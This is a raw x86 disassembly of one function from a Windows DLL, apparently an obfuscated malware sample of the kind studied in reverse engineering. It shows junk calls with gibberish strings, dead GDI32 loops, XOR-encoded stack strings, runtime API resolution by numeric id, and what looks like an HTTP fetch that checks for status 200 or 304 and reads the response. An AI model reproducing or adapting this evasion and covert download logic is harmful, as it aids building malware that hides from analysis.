add esi, 2
cmp esi, 0x51
jb 0x1001ee70
xor eax, eax
cmp dword [ebp - 0x2c], 0x7a83
mov word [ebp - 0x4ec], ax
jge 0x1001ef02
push str.domdqzad_jqe_ztieviygz_fgyrzp_bfjuvreba_pvwp_dqxppedv_gvkxjkul_pjb
call fcn.100402ca
pop ecx
push ecx
mov dl, 1
mov dword [ebp - 4], 0x10
mov ecx, 0x7371
call fcn.1001d3c0
xor eax, eax
mov dword [ebp - 0x2a4], 7
pop ecx
mov word [ebp - 0x2b8], ax
lea ecx, [ebp - 0x2b8]
lea eax, [ebp - 0x538]
mov dword [ebp - 0x2a8], ebx
push eax
call fcn.100044ea
mov byte [ebp - 4], 0x1a
mov dword [ebp - 0x14], 0xe91a049f
mov dword [ebp - 0x14], 0xffffffe9
jmp 0x1001f034
push 1
lea ecx, [ebp - 0x220]
call fcn.100013fd
push 2
lea ecx, [ebp - 0x324]
mov byte [ebp - 4], 0x1b
call fcn.100013fd
sub esp, 0xc
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x200]
mov ecx, 0x1ce4
lea edx, [ebp - 0x220]
push eax
push 1
call fcn.1001ce10
add esp, 0x14
lea eax, [ebp - 0x200]
mov dl, 1
mov ecx, 0x670a
push 1
push eax
lea eax, [ebp - 0x324]
push 1
push eax
call fcn.1001d651
mov eax, dword [ebp - 0x220]
add esp, 0x10
mov dword [eax], 0xffffffed
push 2
lea ecx, [ebp - 0x270]
call fcn.100013fd
mov dword [ebp - 0x18], ebx
jmp 0x1001efec
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x270]
mov dword [eax + ecx*4], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1001efd9
mov eax, dword [ebp - 0x270]
lea ecx, [ebp - 0x270]
mov byte [ebp - 4], 0x1c
mov dword [eax + 4], ebx
call fcn.10001439
mov eax, dword [ebp - 0x220]
inc dword [eax]
cmp dword [eax], 0xc
jl 0x1001efc7
lea ecx, [ebp - 0x324]
call fcn.10001439
lea ecx, [ebp - 0x220]
mov byte [ebp - 4], 0x1a
call fcn.10001439
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xe
jle 0x1001ef59
push 0x13
pop ecx
xor eax, eax
lea edi, [ebp - 0x538]
rep stosd dword es:[edi], eax
push 3
lea ecx, [ebp - 0x2c4]
stosw word es:[edi], ax
call fcn.100013fd
push 1
push ecx
lea eax, [ebp - 0x2c4]
mov byte [ebp - 4], 0x1e
push eax
push 0xf27
lea edx, [ebp - 0x1fc]
call fcn.1001d99e
mov esi, dword [ebp - 0x2c4]
add esp, 0x10
mov dword [esi + 4], 4
push ebx
push ebx
lea eax, [ebp - 0x204]
mov dword [ebp - 0x204], 9
push 1
push eax
mov edx, 0x6bde
mov ecx, 0x79de
call fcn.1001da9b
add esp, 0x10
inc dword [esi + 4]
cmp dword [esi + 4], 0xc
jle 0x1001f088
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0x1a
call fcn.10001439
push 0xb
pop eax
push 0x45
mov byte [ebp - 0xbb], al
mov ecx, ebx
mov byte [ebp - 0xad], al
pop eax
push 2
mov dword [ebp - 0xe8], 0x7c0a7d17
mov dword [ebp - 0xe4], 0x69111413
mov dword [ebp - 0xe0], 0x81f750f
mov dword [ebp - 0xdc], 0x71220a15
mov dword [ebp - 0xd8], 0x30c761d
mov dword [ebp - 0xd4], 0x6e09741b
mov dword [ebp - 0xd0], 0x3f256f14
mov dword [ebp - 0xcc], 0x1d1a500e
mov dword [ebp - 0xc8], 0x1d051d18
mov dword [ebp - 0xc4], 0x7d030920
mov dword [ebp - 0xc0], 0xa04770d
mov byte [ebp - 0xbc], 0x16
mov dword [ebp - 0xba], 0x40020310
mov dword [ebp - 0xb6], 0x70708bf
mov dword [ebp - 0xb2], 0x1e011c07
mov byte [ebp - 0xae], 0x76
mov dword [ebp - 0xac], 0x12050105
mov dword [ebp - 0xa8], 0x24031975
mov dword [ebp - 0xa4], 0x2762304
mov word [ebp - 0xa0], 0x674
mov byte [ebp - 0x9e], 0x70
mov byte [ebp - 0x9d], bl
mov word [ebp - 0x9c], 0x213d
mov byte [ebp - 0x9a], 0x4b
mov word [ebp - 0x55a], ax
pop esi
mov dword [ebp - 0x15c], ecx
cmp esi, 0x30
jne 0x1001f1dc
push 3
pop ecx
push 0x31
mov dword [ebp - 0x15c], ecx
pop esi
jmp 0x1001f22c
movzx edx, byte [ebp + esi - 0xe7]
mov eax, esi
sub eax, ecx
push ebx
movzx eax, byte [ebp + eax - 0xea]
movzx ecx, word [ebp + eax*2 - 0x588]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xe8]
add ecx, edx
mov edx, 0x5d8
push ecx
mov word [ebp + eax*2 - 0x588], cx
lea ecx, [ebp - 0x15c]
call fcn.1001d318
pop ecx
pop ecx
mov ecx, dword [ebp - 0x15c]
add esi, 2
cmp esi, 0x4f
jb 0x1001f1c9
xor eax, eax
lea ecx, [ebp - 0x330]
push 2
mov word [ebp - 0x53c], ax
call fcn.100013fd
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x2f0]
mov dword [ebp - 0x1dc], ebx
mov dword [ebp - 0x1d8], ebx
mov dword [ebp - 0x1d4], ebx
mov dword [ebp - 0x1d0], ebx
mov dword [ebp - 0x24], 0xc7af5af8
mov dword [ebp - 0x24], 0xae7b79f6
mov dword [ebp - 0x24], 0xbdb979cd
mov dword [ebp - 0x24], 0x2b82c447
push 3
call fcn.100013fd
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x3e8]
push dword [ebp - 0x1fc]
movdqa xmm0, xmmword [0x10066a10]
lea ecx, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x1e8], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x3f8], xmm0
mov dword [ebp - 0x1e4], ebx
mov dword [ebp - 0x1e0], ebx
call fcn.1000619c
push ebx
lea eax, [ebp - 0x1ec]
mov byte [ebp - 4], 0x21
push eax
push ecx
lea edx, [ebp - 0x330]
call fcn.1001d33b
add esp, 0xc
lea eax, [ebp - 0x1ec]
lea edx, [ebp - 0x2f0]
mov ecx, 0x7510
push ebx
push 0x6c6e
push 1
push 1
push 0x112f
push eax
call fcn.1001d7a8
add esp, 0x18
mov dword [ebp - 0x1d0], 1
cmp dword [ebp - 0x1d0], ebx
jl 0x1001f3c8
mov dword [ebp - 0x158], 0xccbad86e
lea ecx, [ebp - 0x318]
mov dword [ebp - 0x24], 0xfffffffb
mov dword [ebp - 0x24], 0xa92bd42c
push 1
call fcn.100013fd
mov byte [ebp - 4], 0x22
mov dword [ebp - 0x18], ebx
jmp 0x1001f370
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x318]
mov dword [eax + ecx*4], 0x48b1647c
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1001f35d
push 1
push 0x52f
push 0x62cf
lea ecx, [ebp - 0x158]
call fcn.1001d9df
add esp, 0xc
lea ecx, [ebp - 0x1e8]
xor dl, dl
push ebx
push 0x2fa4
push 1
push 0x1145
call fcn.1001d651
add esp, 0x10
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x318]
call fcn.10001439
dec dword [ebp - 0x1d0]
jns 0x1001f32f
mov dword [ebp - 0x1d0], 0x752570e
lea ecx, [ebp - 0x1e8]
call fcn.10001439
lea ecx, [ebp - 0x2f0]
call fcn.10001439
lea ecx, [ebp - 0x330]
mov byte [ebp - 4], 0x1a
call fcn.10001439
xor eax, eax
mov dword [ebp - 0x280], 7
mov word [ebp - 0x294], ax
lea ecx, [ebp - 0x294]
lea eax, [ebp - 0x588]
mov dword [ebp - 0x284], ebx
push eax
call fcn.100044ea
mov byte [ebp - 4], 0x23
xor ecx, ecx
mov dword [ebp - 0x18], 0xfffffffe
inc ecx
mov dword [ebp - 0x14], ebx
jmp 0x1001f446
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x190], 0x13b9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1001f435
mov dword [ebp - 0x14], ebx
jmp 0x1001f461
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x484], 0xe838
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001f450
mov dword [ebp - 0x18], ebx
jmp 0x1001f48c
push ecx
push ecx
push ecx
push 0x60fc
mov edx, 0x4487
mov ecx, 0x6fb8
call fcn.1001da9b
add esp, 0x10
inc dword [ebp - 0x18]
push 1
pop ecx
cmp dword [ebp - 0x18], ebx
jle 0x1001f46c
mov esi, ebx
mov dword [ebp - 0x28], ebx
cmp esi, 0x27
jae 0x1001f53a
mov dword [ebp - 0x1c], 0x26d6
cmp dword [ebp - 0x1c], 0x2ab1
jle 0x1001f4e3
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x10073b38
cdq
push edx
push eax
call fcn.10004192
inc esi
cmp esi, 0x4da0
jl 0x1001f4bb
inc edi
cmp edi, 0x1ced
jl 0x1001f4b9
mov esi, dword [ebp - 0x28]
xor eax, eax
mov byte [ebp - 4], 0x24
cmp dword [ebp - 0x1c], 0x2300
mov word [ebp + esi*2 - 0x588], ax
jge 0x1001f52a
mov edx, str.drzbgyz_gohkmnw_vxfucs_xse_fhvy_rjin_ohluwlt
mov ecx, 0x10073b38
call fcn.10005a51
jmp 0x1001f52a
inc esi
mov dword [ebp - 4], 0x23
mov dword [ebp - 0x28], esi
jmp 0x1001f496
mov dword [ebp - 0x160], 0x2604
xor ecx, ecx
mov dword [ebp - 0x24], 0xbd6c3f0b
inc ecx
mov dword [ebp - 0x30], 0xc3a23fe5
mov dword [ebp - 0x30], 0xecc2443a
mov dword [ebp - 0x1c], 0xcd16652d
mov dword [ebp - 0x30], 0xdf7cd95d
mov dword [ebp - 0x1c], 0xb7f609b2
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x2d0], ecx
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x2c8], ecx
lea ecx, [ebp - 0x27c]
mov dword [ebp - 0x30], 0xc842
push 3
call fcn.100013fd
push 1
lea ecx, [ebp - 0x300]
mov byte [ebp - 4], 0x26
call fcn.100013fd
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x40], ebx
jmp 0x1001f5ce
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x2a0], 0xffffffff
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], 3
jl 0x1001f5bd
push ebx
lea eax, [ebp - 0x27c]
mov ecx, 0x349
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.1001d9df
add esp, 0xc
lea eax, [ebp - 0x40]
mov edx, 0x1429
push eax
push ecx
push 1
lea eax, [ebp - 0x300]
push eax
push ecx
push 0x4a98
call fcn.1001dbc4
mov eax, dword [ebp - 0x27c]
add esp, 0x18
mov ecx, dword [ebp - 0x298]
inc dword [eax + 8]
neg ecx
sbb ecx, ecx
neg ecx
cmp dword [ebp - 0x24], ebx
je 0x1001f649
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], eax
imul eax, dword [ebp - 0x1c], 6
sub eax, 0x518f4c6f
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x298]
je 0x1001f649
xor eax, eax
inc eax
jmp 0x1001f64b
mov eax, ebx
imul eax, eax, 0xef33
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x29c]
cmp dword [ebp - 0x2c], 0x8faa83fb
jne 0x1001f679
cmp dword [ebp - 0x38], ebx
je 0x1001f679
xor eax, eax
inc eax
jmp 0x1001f67b
mov eax, ebx
mov dword [ebp - 0x2cc], eax
lea ecx, [ebp - 0x300]
mov dword [ebp - 0x30], eax
call fcn.10001439
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0x23
call fcn.10001439
cmp dword [ebp - 0x2a4], 8
lea ecx, [ebp - 0x438]
push ecx
lea eax, [ebp - 0x2b8]
mov esi, 0x2774
cmovae eax, dword [ebp - 0x2b8]
push eax
push 0x246c
push esi
call fcn.10032967
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1001fca2
cmp dword [ebp - 0x280], 8
lea ecx, [ebp - 0x448]
push ecx
lea eax, [ebp - 0x294]
cmovae eax, dword [ebp - 0x294]
push eax
push 0x246c
push esi
call fcn.10032967
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1001fca2
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x438]
push eax
push 3
push ebx
lea eax, [ebp - 0x448]
push eax
push 0x246c
push 0x123c
call fcn.10032967
pop ecx
pop ecx
call eax
test eax, eax
js 0x1001fca2
cmp dword [ebp - 0x3c], 0
je 0x1001fca2
push 0xb
pop eax
mov word [ebp - 0x3d8], ax
xor eax, eax
push 0x47
mov word [ebp - 0x3d0], ax
pop eax
push 2
mov byte [ebp - 0x58], bl
mov dword [ebp - 0x57], 0x22201d2
mov byte [ebp - 0x53], 0x11
mov word [ebp - 0x170], ax
pop esi
movzx eax, byte [ebp + esi - 0x5a]
movzx ecx, byte [ebp + esi - 0x57]
movzx eax, word [ebp + eax*2 - 0x170]
mov edx, eax
and eax, ecx
or edx, ecx
sub edx, eax
movzx eax, byte [ebp + esi - 0x58]
add esi, 2
mov word [ebp + eax*2 - 0x170], dx
cmp esi, 6
jb 0x1001f771
xor eax, eax
mov dword [ebp - 0x1ac], 7
mov word [ebp - 0x16a], ax
lea ecx, [ebp - 0x1c0]
mov word [ebp - 0x1c0], ax
lea eax, [ebp - 0x170]
push eax
mov dword [ebp - 0x1b0], ebx
call fcn.100044ea
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x1c0]
cmp dword [ebp - 0x1ac], 8
mov eax, dword [ebp - 0x1b0]
cmovae ecx, dword [ebp - 0x1c0]
push dword [ebp - 0x190]
mov dword [ebp - 0x170], ebx
mov dword [ebp - 0x16c], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x1f8], ebx
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1f4], ebx
cmovae ecx, dword [ebp - 0x1c0]
push eax
push ecx
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x1f0], ebx
call fcn.1000e8e2
push 1
push 0x1c3a
push ebx
push ebx
push 0x136a
push 0x7ef6
mov edx, 0x438a
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1f8]
call fcn.1001d7a8
mov edx, dword [ebp - 0x50]
add esp, 0x18
cmp dword [edx + 0x14], 8
jb 0x1001f868
mov ecx, dword [edx]
jmp 0x1001f86a
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x1001f878
mov edx, dword [edx]
push dword [ebp - 0x190]
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x1cc], ebx
push eax
push edx
mov dword [ebp - 0x1c8], ebx
mov dword [ebp - 0x1c4], ebx
call fcn.1000e8e2
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 0x2a
push eax
mov cl, 1
call fcn.1001dcb9
cmp dword [ebp - 0x1ac], 8
lea edx, [ebp - 0x1c0]
lea esi, [ebp - 0x340]
mov eax, dword [ebp - 0x3c]
cmovae edx, dword [ebp - 0x1c0]
sub esp, 0xc
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x340]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x3d8]
push dword [ebp - 0x1cc]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x1001fc54
mov dword [ebp - 0x150], ebx
mov cl, 1
mov dword [ebp - 0x1c], 0x7b9c
cmp dword [ebp - 0x1c], 0x7e4f
mov byte [ebp - 0x1d], cl
jle 0x1001f95d
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x10073b38
cdq
push edx
push eax
call fcn.10004192
inc edi
cmp edi, 0x7648
jl 0x1001f927
inc esi
cmp esi, 0x1134
jl 0x1001f925
push 0x11cb
push 0x2125
push ebx
call dword [sym.imp.GDI32.dll_PtInRegion]
mov cl, byte [ebp - 0x1d]
mov esi, dword [ebp - 0x188]
cmp esi, dword [ebp - 0x184]
je 0x1001f9b0
add esi, 0x18
test cl, cl
je 0x1001f99d
cmp dword [esi + 0x14], 8
jb 0x1001f97c
mov edi, dword [esi]
jmp 0x1001f97e
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1001f989
mov edx, dword [esi - 0x18]
jmp 0x1001f98c
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x3c]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x1001f99f
mov cl, bl
add esi, 0x30
mov byte [ebp - 0x1d], cl
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x184]
jne 0x1001f96e
mov byte [ebp - 4], 0x2b
cmp dword [ebp - 0x1c], 0x7913
jge 0x1001f9ea
mov edx, str.xmwrjqnl_ucl_olyfxaouv_dsuhqk_vemjvwhcr_obdkyqkcg_btmpgvzs_mtxbzr
mov ecx, 0x10073b38
call fcn.10005a51
jmp 0x1001f9ea
cmp byte [ebp - 0x1d], 0
mov dword [ebp - 4], 0x2a
je 0x1001fc54
mov eax, dword [ebp - 0x3c]
lea esi, [ebp - 0x340]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x1001fc54
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x150]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x1001fc54
cmp dword [ebp - 0x150], 0x130
je 0x1001fa4f
cmp dword [ebp - 0x150], 0xc8
jne 0x1001fc54
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0x418]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x1001fc54
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x60], eax
test eax, eax
je 0x1001fc54
mov dword [ebp - 0x38], 0x110e
cmp dword [ebp - 0x38], 0x13c1
jle 0x1001fae7
mov esi, ebx
mov dword [ebp - 0x2c], ebx
mov edi, ebx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], 0x56df
mov eax, esi
lea ecx, [ebp - 0x4e4]
cdq
push edx
push eax
call fcn.10002811
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001fab3
mov eax, dword [eax]
push eax
call fcn.100402ca
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4e4]
call fcn.10001571
add esi, edi
dec dword [ebp - 0x1c]
jne 0x1001fa99
mov esi, dword [ebp - 0x2c]
inc edi
cmp edi, 0x420b
jl 0x1001fa8f
inc esi
mov dword [ebp - 0x2c], esi
cmp esi, 0x6b91
jl 0x1001fa8d
cmp dword [ebp - 0x38], 0xd2d
jge 0x1001fafb
push str.ehvi_wakit_vjtopu_spfrzx_liwvq_qztfgzbq_mhqjp_voto_wanas_nhh_aiuycnak_gkbbgaa
call fcn.100402ca
pop ecx
mov dword [ebp - 4], 0x2a
lea edx, [ebp - 0x5d0]
mov eax, dword [ebp - 0x60]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x1001fc40
mov esi, dword [ebp - 0x5c8]
mov dword [ebp - 0x1c], 0x5079
cmp dword [ebp - 0x1c], 0x5313
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x30], esi
jle 0x1001fb7c
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x158], edi
mov ebx, 0xe07
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x10073b38
cdq
push edx
push eax
call fcn.10004192
dec edi
dec ebx
jne 0x1001fb4a
mov edi, dword [ebp - 0x4c]
inc edi
mov dword [ebp - 0x4c], edi
cmp edi, 0x7de4
jl 0x1001fb3f
inc esi
cmp esi, 0x5f58
jl 0x1001fb3a
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x17c]
lea ecx, [ebp - 0x44]
push ecx
push esi
push eax
mov dword [ebp - 0x178], eax
lea ecx, [ebp - 0x17c]
lea eax, [ebp - 0x2f4]
mov byte [ebp - 0x44], bl
push eax
call fcn.1001ff30
mov byte [ebp - 4], 0x2f
cmp dword [ebp - 0x1c], 0x4f9e
jge 0x1001fbe0
mov edx, str.qzpx_pwzqm_zmwbcvcee_auhrhwel_amh_rvo_rubprnrn_dhxvnxaw_bojhygi_vlbiirw_rgeezsgp_poosyo
mov ecx, 0x10073b38
call fcn.10005a51
jmp 0x1001fbe0
mov dword [ebp - 4], 0x2a
mov edi, ebx
mov dword [ebp - 0x144], ebx
mov ebx, esi
mov edx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x17c]
add eax, edi
mov ecx, dword [edx]
lea edx, [ebp - 0x144]
push edx
mov edx, dword [ebp - 0x60]
push ebx
push eax
push edx
call dword [ecx + 0xc]
test eax, eax
js 0x1001fc22
add edi, dword [ebp - 0x144]
sub ebx, dword [ebp - 0x144]
cmp edi, esi
jb 0x1001fbf1
push 0
pop ebx
cmp edi, esi
je 0x1001fc40
push ecx
lea eax, [ebp - 0x17c]
mov edx, 0x55a8
push eax
push 1
call fcn.1001dc95
add esp, 0xc
push 1
push ecx
lea eax, [ebp - 0x60]
push eax
push 0x40bd
call fcn.1001cd28
add esp, 0x10
push 1
lea eax, [ebp - 0x3c]
mov edx, 0x7272
push eax
push ebx
push 1
push 0x59c6
push 0x43a4
lea ecx, [edx - 0x4f]
call fcn.1001d7a8
add esp, 0x18
mov dword [ebp - 0x3c], ebx
lea ecx, [ebp - 0x1cc]
call fcn.1000e536
lea ecx, [ebp - 0x1f8]
call fcn.1000e536
push ebx
push 1
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 0x23
call fcn.100016dd
push 0x246c
push 0x3394
call fcn.10032967
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x208]
lea eax, [ebp - 0x17c]
push eax
call fcn.1001fe4c
push ebx
push 1
lea ecx, [ebp - 0x294]
call fcn.100016dd
push ebx
push 1
lea ecx, [ebp - 0x2b8]
call fcn.100016dd
lea ecx, [ebp - 0x188]
call fcn.1000e26c
lea ecx, [ebp - 0x17c]
call fcn.1000e484
lea ecx, [ebp + 8]
call fcn.1000e26c
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret